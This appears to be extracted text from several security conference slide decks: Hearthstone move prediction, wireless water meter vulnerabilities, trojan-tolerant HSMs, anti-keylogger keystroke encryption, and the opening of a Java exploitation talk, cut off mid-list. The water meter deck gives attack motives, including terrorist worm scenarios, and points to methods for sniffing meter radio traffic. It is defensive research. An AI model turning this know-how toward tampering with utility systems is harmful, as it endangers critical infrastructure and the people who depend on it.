https://www.elie.net/hs Played Bi-grams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 500 Bi-grams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 500 350 Bi-grams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 500 400 350 Bi-grams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 400 500 400 350 Bi-grams Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 400 500 400 350 Bi-grams Ranked Predictions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 400 500 400 350 Bi-grams 750 Ranked Predictions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 400 500 400 350 Bi-grams 500 750 Ranked Predictions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Played 400 500 400 350 Bi-grams 500 750 400 Ranked Predictions Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Training: 45000 replays Testing : 5000 replays 1 model per class Training and evaluation Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Suspense is killing me Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs 97% success rate for best prediction by turn 3 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Best prediction Average 10th prediction Probability predictions will be played 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% Turn 2 3 4 5 6 7 8 9 10 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Best prediction Average 10th prediction Probability predictions will be played 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% Turn 2 3 4 5 6 7 8 9 10 Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Predicting game outcome How to optimize deck for mana-throughput Hero powers comparison Comparing decks types What’s next? Celine & Elie Bursztein I am a legend - Defcon 2014 https://www.elie.net/hs Thank you! https://www.elie.net/hs & @elie/@cealtea on Twitter http://swiatgry.pl/tapety/pc/5488,hearthstone_heroes_of_warcraft	pdf
Vulnerabilities of Wireless Water Meter Networks John McNabb [email protected] DEF CON 19 August 6, 2011 1 Background • 13 years as an elected Water Commissioner • 2 articles in NEWWA Journal on water infrastructure • 10 years as lobbyist for Clean Water Action • 6+ years as an IT Pro, mostly doing general tech support • 2+ years as a security researcher, primarily interested in drinking water security & cyber security • Independent researcher; no school, company, or grant support • DEF CON 18 last year - Cyberterrorism & Security of the National Drinking Water Infrastructure • [March 2011 Hacker Japan article on my DC18 talk] • Shmoocon 2011 – Hacking SmartWater Water Meters 2 Importance of Water • Water is essential for life. • Water is a scarce commodity • Water has been a source of conflict and war throughout human history. • Water is a $400 billion global industry. Water has been called “the new oil.” • Al Qaeda has repeatedly threatened to “poison” United States drinking water supplies. • Water is a critical infrastructure. • However, the American Society of Civil Engineers gives the nation’s drinking water infrastructure a D- grade and estimates that an investment of $255 billion is needed to bring the system to needed standards 3 Water Meter = Cash Register • Water Bill based on the difference between “present reading” and “previous reading”, which is “usage” • Usage x water rates = usage charge • $40 billion – the annual income of US water utilities, mostly from meter information • Average monthly water bill ranges from $34.29 a month in Phoenix compared to $65.47 in Boston for a family of four using 100 gallons per person each day. • The revenue is very important to support day to day operations as well as capital replacement which nationally is billions behind schedule. 4 What could go wrong? The June, 2011 audit of the Brockton, Mass. Water & Sewer Department found that : • most of the City’s meters were 15 years or older, • from FY2006 through FY2010 approximately 25% of the water bills were not based on reading the meter but were estimated readings, and that • the billing staff did not have sufficient training in using the system. The audit was called for by the City Council following the issuance of numerous retroactive bills to residents, resulting in one case of a water bill of $97,000 for one homeowner. 5 Brockton resident with $92,439.35 water bill Meter Tampering for Money • Energy theft costs consumers billions of dollars every year in the United States alone • Electric utilities assume 10% loss each year from theft • “Theft of water by tampering with or bypassing water meters costs BWSC [Boston] thousands of dollars a year & .. imposes costs every paying customer.” 6 Water Meter Engineering • How does the meter itself work? • Displacement – Oscillating Piston – Nutating Disk • Velocity – Single jet (Paddle wheel) – Multijet (Horizontal impeller) – Turbine – Propeller • Ultrasonic meters measure the difference of the transit time of ultrasonic pulses propagating in and against flow direction • Electromagnetic flow meters operate based upon Faraday's Law of induction, which states that a voltage will be induced in a conductor moving through a magnetic field. Faraday's Law: E=kBDV Common types of water meters • Multi-jet Meter • Single-jet Meter • Positive Displacement Meter • Turbine Meter • Compound Meter • Fire Meter • Fire Hydrant Meter • Electromagnetic or Mag Meter • Ultrasonic Meter 7 Data collection: Register • Meters are data collection devices • Data shown on “register” • Data is total volume of water thru the meter since it was installed • Interval readings turn it into information • The less time between readings, the more information collected 8 Data Collection Methods • Eyeball. This is the legacy method which requires a meter reader to physically enter the premises and read the meter, usually in the basement. • Walk-By. The meter is connected with wires to a device located on the outside of the building, so even though a physical visit by a meter reader is still required he does not have to enter the building • Drive-By. The meter is retrofitted with, or already comes with, a radio frequency transmitter, that is read by the meter reader in his vehicle as he drives past all the metered buildings on his route. 9 Data Collection – Fixed Network • The fixed network is what we usually think of when we talk about Automatic Meter Reading or Smart Meter • This takes the full capabilities of the wireless water meter and enables it to become a sensor network for the water utility that can allow almost continuous water usage readings (usually every 5-15 minutes). • In the fixed network the signals from the single meter are transmitted and then collected in a central receiving station, if close enough, or to repeaters and then to the central receiving station. • In most cases a star topology is used, but in some implementations a mesh topology is used to each meter can act as a repeater for any others within range. 10 Basic Network Components • Wireless transmitter or transceiver on the meter • Collector, receiver or transceiver; (drive-by or static location) • Central collector receiver/transceiver • Billing office computer system 11 Wireless Water Meter is… • Embedded device • Node in Sensor network • Information collection device • Electronic cash register • Regulator of availability of drinking water • Water conservation device • Big Brother? 12 Types of Wireless Water Meters • No standards • 25+ major manufacturers, each with small market share • Data transmission: - Phone lines - Cable - Power Lines - Radio frequency - Combination 13 Growth of Smart Water Meters • The U.S. advanced metering infrastructure (AMI) market [electricity+gas+water] will grow from $2.54 billion in 2010 to $5.82 billion in 2015 -- an 18% compound annual growth rate • The world smart water meter market is expected to total $4.2 billion between 2010 and 2016. • The worldwide installed base of smart water meters is expected to increase from 5.2 million in 2009 to 31.8 million by 2016. • Most water meters in the US are read manually; only 28 percent of water utilities have AMR meters. • About 50% of California water utilities have smart meters, driven by state mandate to cut water consumption 20% by 2020.. 14 Benefits of AMR/AMI to Utility • Lower meter reading cost • Better identify leaks • Unaccounted-for water • Detect evasion of water use restrictions • Better accuracy • Allows monthly billing • Resolve bill disputes • Customer service • Water conservation 15 Water “Smart Grid” Real Benefits The real benefits of the Smart Grid for Water lie in aggregative, integrative, and derivative information A meter read is not just a meter read. It: • forms a key part of the billing record; • forms a fundamental part of the leak loss (pumped versus billed) analysis; • establishes peak and average demand parameters; • is a key measure of the performance of water conservation activities; • forms the basis for feedback to the consumer directly on their impact on resources; and • is the foundation for key reporting elements associated with regulatory requirements such as compliance with California’s 20 x 2020 Water Conservation Plan.” 16 Wireless Sensor Network • A wireless water meter network is a kind of Wireless Sensor Network, which is defined as • “a large network of resource-constrained sensor nodes with multiple preset function, such as sensing and processing… the major elements of a WSN are the sensor nodes and the base station.” • Each individual water meter is a “sensor node.” • WSN Inherent Vulnerabilities: - the wireless medium itself, - unattended operation, - random topology, and - hard to protect against insider attacks • Processor. A typical sensor node processor is of 4-8 MHz, having 4KB of RAM, 128KB flash and ideally 916 MHz of radio frequency. • Energy: Sensor nodes typically have a small form factor with a limited amount of battery power. • Memory: Sensor nodes usually have a small amount of memory. Hence, sensor network protocols should not require the storage of a large amount of information at the sensor node. 17 Potential Attacks on WSN’s • Wireless Sensor Networks are subject to a wide range of potential attacks • Active vs. Passive Attacks • Outsider vs. Insider • Mote class vs. Laptop class • Interruption • Interception • Modification • Replay attacks 18 WSN Countermeasures • Link layer encryption and authentication • Multipath routing • Identity verification • Bidirectional link verification • Authenticated broadcast 19 Wireless Meter Electronics • Have off the shelf microcontrollers & transceivers • Texas Instruments, Atmel, Microchip, etc. • The trick is to find out which one is in a particular meter. • Run on batteries, usually 5-20 yrs lifespan 20 Design Description from Patent Patent # 5,438,329, Duplex Bi-Directional Multi-Mode remote Instrument Reading and Telemetry System, August 1, 1995, the patent for the Sensus MXU Model 550 Meter Transceiver Unit (MXU) is very informative: • “The instrument link 2 includes a microcontroller, such as an Intel 8051 family integrated circuit, to evaluate signals from the remote station and to control all the instrument link functions except those associated with the one second timer, the auto transmit counter, and the functions associated with those components.” • “The Electronically Erasable Programmable Read-Only Memory (EEPROM) interfaces with the microcontroller through a serial interface and provides one (1) kilobit (Kbit) of non-volatile storage. The EEPROM provides a means for storing configuration parameters and data that must be saved when the microcontroller is powered down (i.e. the instrument link sleep mode). For example, the EEPROM stores diagnostic data relating to the performance of the instrument link and a remote station. The EEPROM may be a Thompson 93C46 or equivalent.” • “An interrogation signal preamble is followed by a interrogation message that is preferably a Manchester encoded message at a data rate of 1 kbit per second. The interrogation message contains a variety of parameters including the interrogation mode (blind or geographic), instrument link ID with possible wild cards, reply window length, reply RF channel to be used, the pseudorandom code to be used for spread spectrum modulation, the reading cycle number, and the data to be transmitted (i.e. register reading or diagnostic information). Such a message is typically protected against transmission bit errors by a 16 bit CRC field.” 21 Radio Frequencies Manufacturer Frequency FHSS? Security? • Aclara (Hexagram) 450 – 470 • Badger (Itron) 902 – 928 • Landis+Gyr (Cellnet) 902 – 928 • Datamatic 902 – 928 FHSS • Elster AMCO (Severn) 902 – 928 FHSS • Inovics 902 – 928 FHSS • Itron 910 – 920 • Master Meter 902 – 928 DSSS Encryption • Mueller (Hersey) 902 – 928 FHSS • Neptune 900 – 950 FHSS None • Performance 902 – 928 FHSS • RAMAR 902 – 928 • Sensus 900 – 950 DSSS Encryption 22 900 Mhz • 900 MHz most commonly used for water meters in USA • Neptune Meter; Transmitter Specifications: - Transmit Period - Every 14 seconds - Transmitter Channels – 50 - Channel Frequency – 910-920 MHz - FCC Part 15.247 (802.15.247) - Security? No encryption. FHSS 23 Frequency Hopping Spread Spectrum • FHSS is a Layer One method of transmission • “Some have expressed ideas that frequency hopping in FHSS may contribute to the security of 802.11, but these are invalid expectations— the hopping codes used by FHSS are specified by the standard and are available to anyone, thus making the expectation of security through FHSS unreasonable.” Internet Protocol Journal, March 2002 Vol. 5 No. 1 • Touted by many as a security feature that makes encryption unnecessary • While there are methods being researched to crack FHSS, it is still an obstacle to sniffing or eavesdropping • However, researches have shown that FHSS can be cracked and should not be considered a security feature. 24 Why Hack Into Water Meters? (1) Reduce water bill (2) Steal water (3) Evade water restrictions (4) Surveillance (5) Jack up other’s water bills (6) Route to introduce malware into water SCADA system(?) (7) Get into other ‘smartgrid’ networks like electric grid (8) Recon for potential attack? 25 Evil Consumer • Theft of services • Build and distribute MITM boxes, like a pirate cable descrambler, or electricity theft device (being used in China), to lower reported usage, lowering water bills; stealing water & money. • EFFECT: less revenue to water utility, leading to less maintenance of system and higher rates. 26 Evil Insider • Insider threat: one or more individuals with the access and/or inside knowledge of a company, organization, or enterprise that would allow them to exploit the vulnerabilities of that entity’s security, systems, services, products, or facilities with the intent to cause harm. • “A new intelligence report from the Department of Homeland Security issued Tuesday, titled Insider Threat to Utilities, warns "violent extremists have, in fact, obtained insider positions," and that "outsiders have attempted to solicit utility-sector employees" for damaging physical and cyber attacks.” ABC News, July 20, 2011 • The Maroochie incident in 2000, when a disgruntled former contractor used inside info to release 800,000 liters of sewage into the environment, using wireless network communications from his laptop, is an example of how insider threat could impact a wireless sensor network. 27 Terrorist Attack • Recon. Terrorist sends worm to intercept all signals to build hydraulic map of system for optimum results when inject poison into distribution system • Disruption. Terrorist sends worm to shut off all water on certain date and time, coinciding with other attacks, updates firmware to keeps water turned off until utility can update them all. 28 Smart Grid is very “worm-able” • Thanassis Giannetsos demonstrated a worm attack on wireless sensor networks with his SENSYS attack tool [BH Spain 2010] • IOactive successfully ran a worm in a simulated city of 225,000 smart electric meters [BH USA 2009] • Water smart grid could be just as vulnerable 29 Evil Water Utility: Big Brother? • “Cary's citizens are right to be concerned about the information about our private lives that our Town staff will be able to collect if the Aquastar/AMI water meter system is implemented as planned. • According to Daniel Burrus, a technology futurist and keynote speaker at the Autovation conference last September, "As a utility, I could know exactly when you take a shower, exactly when you water the plants or wash the dishes. • I could figure out how much water or electricity you are using at any point in time, and probably figure out what you are using it for." 30 Are We Being Paranoid? 31 Up the Ante: Hydrosense • HydroSense is a simple, single point, sensor of pressure of water in a building, which can give accurate information about when each water fixture is turned on and for how long. • Hydrosense is a simple, screw-on device that doesn’t require the services of a plumber. It operates on battery power, or uses WATTR, a self-powered version that uses the flow of water to power the device. • Hydrosense measures the change in pressure and then to estimate the flow rate, which is related to pressure change via Poiseuille’s Law, • Poiseuille’s Law is that the volumetric rate of fluid in a pipe Q is dependent on the radius of the pipe r, the length of the pipe l, the viscosity of the fluid µ and the pressure drop . • The information is then sent via wireless – perhaps “backhauled” over the same wireless channel used by the water meter – to the water utility. 32 Vulnerabilities of Wireless Water Meters • Some inherent vulnerabilities of the design – low onboard memory • One vendor tells us what frequencies they transmit on, with no FHSS or encryption! • Badger gives out its default network username, password and wireless key on web site • Transceivers can be purchased on Ebay • No encryption, FHSS, or DSSS on many of them • However, more of them are coming out with encryption now 33 Design Advances in Water Meters • “Third Generation” electronic water meters do not need batteries, have 99.9% accuracy. • More wireless water meters are now being sold with encryption, such as AES 128 bit, 256 bit encryption 34 Sniffing FHSS Transceivers • atlas, cutaway & Q – At Shmoocon 2011, atlas, cutaway & Q presented Hop Hacking Hedy and showed how FHSS was not inherently secure and how to crack it in 900 Mhz wireless devices using the CC1111EMK 868-915 Evaluation Module Kit programmed with Goodfet, using SmartRFstudio and python code they wrote. • Rob Havelt - At Black Hat Europe 2009, in Yes it is Too WiFi, and No It’s Not Inherently Secure, Rob Havelt discussed how he was able to crack Frequency Hopping Spread Spectrum (FHSS) in 2.4 GHz 802.11 using GNU radio and a USRP 2.0 and how it is not inherently secure. “For legacy 802.11, it was possible to just use a USRP locked to a specific channel band, then feed the raw data into the BBN Adroit code - for kicks, you could set a file as the sniffer interface for Kismet or a tool like that to do analysis at each layer.” 35 FAIL! • I was hoping to supplement this talk with results of sniffing packets from my 900 MHZ FHSS wireless water meter. • But, didn’t have time or resources to do this before this talk, but the work is still ongoing. • Tried Amtel RZ600, also FUNcube software radio peripheral, couldn’t get them to work yet. 36 Ongoing Work • Atmel RZ600 Development Kit. Has a 900 Mhz antenna and is advertised to be capable of being used as a development platform or just for packet sniffing. However, it did not work right out of the box. I am experimenting with some software to link it to Wireshark, but no success to date. • Texas Instruments CC1111 868-915 Mhz Evaluation Module Kit. Will use to try to replicate the FHSS technique demonstrated by atlas, cutaway & Q, after making a working Goodfet. May also try Bus Pirate and a TI CC Debugger. • RFM DNT900DK. The kit includes: two DNT900P radios installed in DNT900 interface boards, etc. Looks promising but haven’t tried it yet. • FunCUBE Dongle Pro. The FunCUBE Pro is advertised as a software defined radio that operates in the 64 – 1,700 Mhz range. I will see if I can use it to replicate Havelt’s methodology. • IM-Me. I am dying to replicate the uses of this pager which was demonstrated in “Real Men Carry Pink Pagers” by Travis Goodspeed and Michael Ossmann at ToorCon 2010, and see what other uses I can get out of it. I will try this if I have time. • Breaking down wireless water meters and start to reverse engineer them. 37 Wrapping Up • Water meters are an integral component of the national drinking water infrastructure • Tampering with water meters, either mechanically or electronically, cost s money for local water systems • Wireless water meters need to be better secured to prevent potential financial loss to water suppliers and to reduce potential security vulnerability to the water system. • Thanks to: • Marc Maiffret • Rob Havelt • Travis Goodspeed • atlas, cutaway, & Q • Bob Johnston, CISSP, for his archived DHS Daily Infrastructure Reports (cited in my white paper) 38	pdf
Trojan-tolerant Hardware & Supply Chain Security in Practice Who we are Vasilios Mavroudis Doctoral Researcher, UCL Dan Cvrcek CEO, Enigma Bridge George Danezis Professor, UCL Petr Svenda CTO, Enigma Bridge Assistant Professor, MUni Highlights ▪ HSMs & Shortcomings ▪ Existing Solutions ▪ Lessons learned from airplanes ▪ Hardware Prototype ▪ Crypto Protocols ▪ Attack-Defense Demo ▪ Politics, Distrust & Hardware Security Hardware Security Modules Physical computing device that safeguards and manages digital keys for strong authentication and provides cryptoprocessing. Applications: ▪ Cryptographic key generation, storage, management ▪ Sensitive data handling and storage ▪ Application servers offloading Crypto Operations are carried out in the device No need to output the private keys! HSM Threat Model Common Use cases: PKIs, Card payment systems, SSL connections, DNSSEC, &Transparent Data Encryption for Databases Certified to Common Criteria or FIPS 140: ▪ Anti-Tampering Protection ▪ Strong Random Number Generator ▪ Cryptographic key management ▪ Bugs ▪ Errors ▪ Backdoors/HT CVE-2015-5464 The HSM allows remote authenticated users to bypass intended key-export restrictions … Existing Solutions ▪ Trusted Foundries Very expensive Prone to errors ▪ Split-Manufacturing Still Expensive Again prone to errors Not 100% secure ▪ Post-fabrication Inspection Expensive A huge pain, doesn’t scale ▪ Secret-sharing Keys generated by a trusted party Only for key storage Alternative approaches? A solution from the sky (not the cloud) Lockstep systems are fault-tolerant computer systems that run the same set of operations at the same time in parallel. ▪ Dual redundancy allows error detection and error correction ▪ Triple redundancy automatic error correction, via majority vote → Triple Redundant 777 Primary Flight Computer Not so fast… ▪ Fault-tolerant systems are built for safety ▪ The computations are simply replicated ▪ The majority vote part is using a trusted IC Not enough for security! Redundancy for security? We did it! Supported Crypto ▪ Random number Generation ▪ Key Generation & Management ▪ Decryption ▪ Signing Features ▪ Tolerates: - faulty hardware components - multiple backdoored components - Colluding adversaries ▪ Provides resilience ▪ Tamper-resistant (FIPS-4) ▪ Easily Programmable (Java variant) We did it! Components ▪ 120 SmartCards ▪ Quorums of three cards ▪ 1.2Mbps dedicated inter-IC buses ▪ ARTIX FPGA controls the comm. bus ▪ 1Gbit/s bandwidth for incoming requests Smart Cards? - 8-32 bit processor @ 5-20MHz - Persistent memory 32-150kB (EEPROM) - Volatile fast RAM, usually <<10kB - True Random Number Generator - Cryptographic Coprocessor (3DES,AES,RSA-2048,...) - Limited attack surface, small trusted computing base EEPROM CPU CRYPTO SRAM ROM RNG Smart Cards? Intended for physically unprotected environment - NIST FIPS140-2 standard, Level 4 - Common Criteria EAL4+/5+ Tamper protection - Tamper-evidence (visible if physically manipulated) - Tamper-resistance (can withstand physical attack) - Tamper-response (erase keys…) Protection against side-channel attacks (power,EM,fault) Periodic tests of TRNG functionality Performance Hardware Pic! Custom-Board with 120 JCs JavaCard 3.0.4 Gigabit link Controller Classic Key Generation Single IC System 1. Bob asks for new key pair 2. Faulty/Backdoored IC generates key using broken RNG 3. Private Key is “securely” stored 4. Weak public key is returned Properties - Private key never leaves the box - IC has full access to the private key - Bob can’t tell if he got a “bad” key Generate a key-pair for me! Distributed Key Generation 1. User asks for new key pair 2. ICs generate their key pairs 3. ICs exchange hashes of their shares 4. ICs reveal their shares 5. ICs verify each others’ shares 6. ICs compute the common public key 7. ICs return the common public keys 8. Bob verifies that all the keys are same Classic Decryption Single IC System 1. Bob asks for ciphertext decryption 2. Faulty/Backdoored IC decrypts ciphertext 3. Bob retrieves plaintext The IC need full access to the private key to be able to decrypt ciphertexts. Decrypt this ciphertext Distributed Decryption 1. Bob asks for ciphertext decryption 2. His authorization is verified 3. ICs compute their decryption shares 4. Bob receives the shares and combines them to retrieve the ciphertext Properties - No single authority gains access to the full private key for the decryption - If one IC abstains, decryption fails Classic Signing Single IC System 1. Bob asks for document signing 2. Faulty/Backdoored IC signs the plaintext and retains contents 3. Bob retrieves signature The IC need full access to the private key to be able to sign plaintexts. Sign this plaintext Distributed Signing I Caching 1. Bob sends a caching request 2. The ICs verify Bob’s authorization 3. Generate a random group element based on j 4. Bob sums the random elements Properties - Caching for thousands of rounds (j) - Bob stores Rj Distributed Signing II Signing 1. Bob asks for document signing & sends Rj, j, and the hash of m 2. ICs verify his authorization 3. ICs check if j has been used again 4. ICs compute their signature share 5. Bob sums all signature shares Properties - All ICs must participate - Significant speed up with caching Key Propagation A1 A3 A2 B1 B2 B3 1. Quorum A generates a public key 2. Then each IC in A splits its private key in three shares and sends them to B1, B2, B3 3. Each IC in B receives shares from A1, A2, A3 4. Each IC in B combines the 3 shares and retrieves its private key The full public keys of A and B are the same! Pub Key Pub Key Mutual Distrust & Hardware Security So far our argument was: “We can guarantee security if there is at least one honest IC that doesn’t incorporate a backdoor or an error.” However, when using COTS components it can be hard to even trust that a single IC is not backdoored. Mutual Distrust & Hardware Trojans Government-level adversaries are unlikely to collude and/or share their backdoor details. Hence, we can reform our argument to be: “We can guarantee security if there is at least one non-colluding IC, even if it is untrusted.” Mutual Distrust & Hardware Trojans We can guarantee security if there is at least one non-colluding IC, even if it is untrusted. A Kill Switch? wired.com A Kill Switch? IEEE Spectrum Conclusions & Future New architecture ▪ Decent performance & Small overhead compared to a single IC ▪ Existing malicious insertion countermeasure are very welcome! ▪ Suitable for commercial-off-the-shelf components ▪ Faulty hardware is no longer an end-game but a manageable problem Future ▪ Distributed Symmetric crypto? SSL-accelerators etc ▪ Does it transfer to a more generic architecture? Q & A	pdf
How to secure the keyboard chain DEF CON 23 Paul Amicelli - Baptiste David - CVO Esiea-Ouest c Creative Commons 2.0 - b Attribution - n NonCommercial - a ShareAlike 1 / 25 The Talk 1. Background 2. Keyloggers forms 3. Main idea of our work 4. Details of our work 5. To go further 6. Finally. Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 2 / 25 Keyloggers -- "A keylogger is a little piece of software or hardware, which is able to retrieve every keystrokes on a computer" Background Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 3 / 25 User mode ones Easy to developp, and really efficient Quite easy to detect and remove Keyloggers Forms Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 4 / 25 Kernel mode ones Quite hard to develop and really, really efficient Not easy to detect and quite hard to remove Keyloggers Forms Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 5 / 25 Hardware ones Require physical access to the computer, but the most efficient technic Software-undetectable, sometimes easy to remove, sometimes not Keyloggers Forms Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 6 / 25 Proposed solution Encrypt keystrokes As close as possible to the hardware Jamming keyloggers Our work - Main Idea Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 7 / 25 Basic Understanding Our work - Main Idea Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 8 / 25 Basic Understanding Our work - Main Idea Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 9 / 25 Basic Understanding Our work - Main Idea Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 10 / 25 Basic Understanding Our work - Main Idea Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 11 / 25 Basic Understanding Our work - Main Idea Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 12 / 25 Basic Understanding Our work - Main Idea Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 13 / 25 Keyboard driver stack Our work - Details Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 14 / 25 Encryption Problematic Unable to directly encrypt keystrokes with a streamcipher Only known keystrokes are broadcasted by Windows The rest is inhibated Few keystrokes codes authorized Our work - Details Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 15 / 25 Encryption White list system for input decision Our work - Details Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 16 / 25 Encryption Solution : Jamming Currently, a 64bits common key exchanged every 20 keystrokes Stream cipher initiated with the common key Algorithm based on shuffle of a deck of cards : only Our work - Details Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 17 / 25 Encryption Scheme Our work - Details Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 18 / 25 API-Driver Communication Our work - Details Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 19 / 25 Protection of the protection Monitoring of the keyboard driver stack Protection against DLL injection of the API Monitoring of the registry Our work - Details Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 20 / 25 Is it working ? Our work - Results Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 21 / 25 Endless possibilities Keystrokes combinations Polymorphic on-screen keyboard Time based keystrokes Mini-game, music, colors,.. Keep keystrokes in ring 0 (GostCrypt) Our work - To go further Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 22 / 25 GostCrypt a full ring 0 password version Our work - Example Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 23 / 25 State of the project Proof of concept Available on Github ( https:// github.com/whitekernel/gostxboard.git ) Educational purpose Free and opensource, forever Call for participation Finally Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 24 / 25 Questions ? Maybe answers . . . Question time [email protected] - [email protected] Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna 25 / 25	pdf
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Java Every-days Exploiting Software Running on 3 Billion Devices Brian Gorenc Manager, Vulnerability Researcher Jasiel Spelman Security Researcher © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Solution “Unless it is absolutely necessary to run Java in web browsers, disable it as described below, even after updating to 7u11. This will help mitigate other Java vulnerabilities that may be discovered in the future.” - DHS-sponsored CERT © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 3 Agenda •  Introduction •  Vulnerability Trending and Attack Surface •  Java Sub-component Weaknesses •  Leveraging Sub-component Weaknesses •  Vendor Response Review •  Conclusion © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Introduction © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 5 whois Brian Gorenc Employer: Hewlett-Packard Organization: HP Security Research Zero Day Initiative Responsibilities: Manager, Vulnerability Research Running Internet’s Crashbin Verifying EIP == 0x41414141 Organizing Pwn2Own Free Time: Endlessly Flowing Code Paths That Don’t Lead to Vulnerabilities Twitter: @MaliciousInput, @thezdi © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 6 whois Jasiel Spelman Employer: Hewlett-Packard Organization: HP Security Research Zero Day Initiative Responsibilities: Security Research Staying Current with the Latest Vulnerabilities Cursing at IDA Working During the Evening, Sleeping During the Day Free Time: Jumping Out Of Planes Playing Electric Bass Twitter: @WanderingGlitch, @thezdi © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 7 Why Java? Surge of ZDI submissions in late 2012 and early 2013 Industry Focused on Sandbox Bypasses Targeted Attacks against Large Software Vendors Multiple 0-day Vulnerabilities Demonstrated at Pwn2Own •  Expose the Actual Attack Surface that Oracle’s Java Brings to the Table •  Take an In-Depth Look at the Most Common Vulnerability Types •  Examine Speciﬁc Parts of the Attack Surface Being Taken Advantage of by Attackers © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 8 Vulnerability Sample Set Scoped to Modern Day Vulnerabilities •  Issues Patched Between 2011-2013 Root Cause Analysis Performed on Over 120 Unique Java Vulnerabilities •  Entire Zero Day Initiative Database •  Numerous Vulnerabilities Feed •  Penetration Testing Tools •  Exploit Kits •  Six 0-day Vulnerabilities Yet To Be Patched by Oracle Threat Landscape •  52,000 Unique Java Malware Samples © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 9 Oracle Java’s Footprint and Software Architecture Huge Install Base •  1.1 Billion Desktops run Java •  1.4 Billion Java Cards Produced Each Year… Users Running Outdated Software •  93% of Java Users Not Running Latest Patch a Month After Release Wide-Spread Adoption •  Written Once, Run Anywhere •  Popular in the Financial Marketplace •  Major Inroads in the Mobile Device Space Attacker’s Best Friend © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 10 Oracle Java’s Footprint and Software Architecture Powerful Development Framework •  Over Fifty Sub-components •  Developers Quickly Extend Application •  Ease Complicated Development Tasks Wide Range of Capabilities •  Render a User Interface •  Process Complex Fonts and Graphics •  Consume Common Web Service Protocols Attacker’s Best Friend © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. Vulnerability Trending and Attack Surface © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 12 Vulnerability Statistics 2011-2013 Increased Patching Year-Over-Year •  250 Remotely Exploitable Vulnerabilities Patched •  50 Issues Patched in 2011 •  130 in the First Half of 2013 Consistent Patch Schedule •  Once every 3-4 Months Oracle Java SE Risk Matrix •  CVE and CVSS •  Location in the Architecture © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 13 Oracle Java Patch Statistics Sub-components Corrected in Each Patch Release Since 2011 •  Deployment •  2D Double-digit CVE Count in a Single Patch •  Deployment (10 Vulnerabilities in Feb 2013) •  JavaFX (12 Vulnerabilities in Feb 2013) Severity Indicators •  Average CVSS Score: 7.67 •  50% of Issues > CVSS 9.0 Following Sub-components Account for Half Remotely Exploitable Vulnerabilities Focus on the Sub-components Rank Sub-component Average CVSS 1 Deployment 7.39 2 2D 9.43 3 Libraries 7.24 4 JavaFX 8.83 5 AWT 7.73 © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 14 Zero Day Initiative Submission Trends Consistent Submission Rate •  Average 5 a Quarter •  High of 33 in One Quarter Sub-Component Focus 1.  2D 2.  Libraries 3.  JavaFX 4.  Sound 5.  Deployment Emphasis on Severity •  Average CVSS: 9.28 Accounted for 36% of Java’s vulnerabilities with CVSS score of 9.0 or higher © Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. 15 Insight into Vulnerability Classes (CWE) CWE-265: Privilege / Sandbox Issues CWE-470: Unsafe Reﬂection CWE-272: Least Privilege Violation CWE-843: Type Confusion CWE-120: Buﬀer 